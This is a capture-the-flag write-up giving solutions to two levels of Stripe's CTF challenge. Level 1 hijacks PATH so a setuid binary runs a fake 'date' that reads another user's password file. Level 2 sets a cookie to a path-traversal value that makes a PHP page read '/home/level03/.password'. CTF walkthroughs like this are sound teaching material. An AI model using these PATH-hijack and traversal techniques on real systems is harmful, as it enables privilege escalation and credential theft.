Stripe's Capture the Flag Solutions

Stripe "Capture the Flag" - SOLUTIONS

Solution for the first two levels.

Disclaimer: if you need to read this to solve either of the first two levels, you obviously do not have enough skills to solve many, if any, of the future levels. And you're definitely not going to be the first one to capture the final flag.

If you enjoy a challenge, stop reading now ... !

...

still here?

...

okay, let's roll ...


Level 01

This level exploits a suid vulnerability. If you look at the source provided, you'll see the C code is making a "date" system call. The script we're going to execute runs as level02. We need to somehow get the script to output level02's password.

Let's create our own "date" executable, then change the PATH variable so that it gets called first, before the system "date" executable.

> ssh level01@ctf.stri.pe
( enter provided password)

> mkdir /tmp/pwn-level-one-1234rand
> cd /tmp/pwn-level-one-1234rand
> vi date

Set contents of date to:
cat /home/level02/.password

> chmod +x date
> PATH=/tmp/pwn-level-one-1234rand:$PATH;
> export PATH

Now we run the script that's setuid as level02:
> /levels/level01

It should output Level 2's password! If not, you did something wrong.

Level 2

This one's even easier than the first one, if you're familiar with PHP & cookies. NOM NOM NOM

Login as the level02 user using the password you obtained from the level01 sploit.

Visit:

http://ctf.stri.pe/level02.php

Enter the level02 credentials.

Back in ssh:

> cat /var/www/level02.php

Notice this line:

      $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);

It gets executed if the cookie is already set.

See the problem here?

Cookies are stored client-side, so they can be fussed with. What if we changed the cookie to, oh, say ... "=../../etc/passwd" ?

Note: you need the leading "=" for the cookie to be formatted properly.

Using your favorite Cookie Editor (Chrome, Firefox, whatever), set the "user_details" cookie to:
=../../home/level03/.password


And re-submit the form. You should have your Level 3 password by now.


Aaaand that's all, folks.

I'll leave the higher levels sploits to the real hackers out there.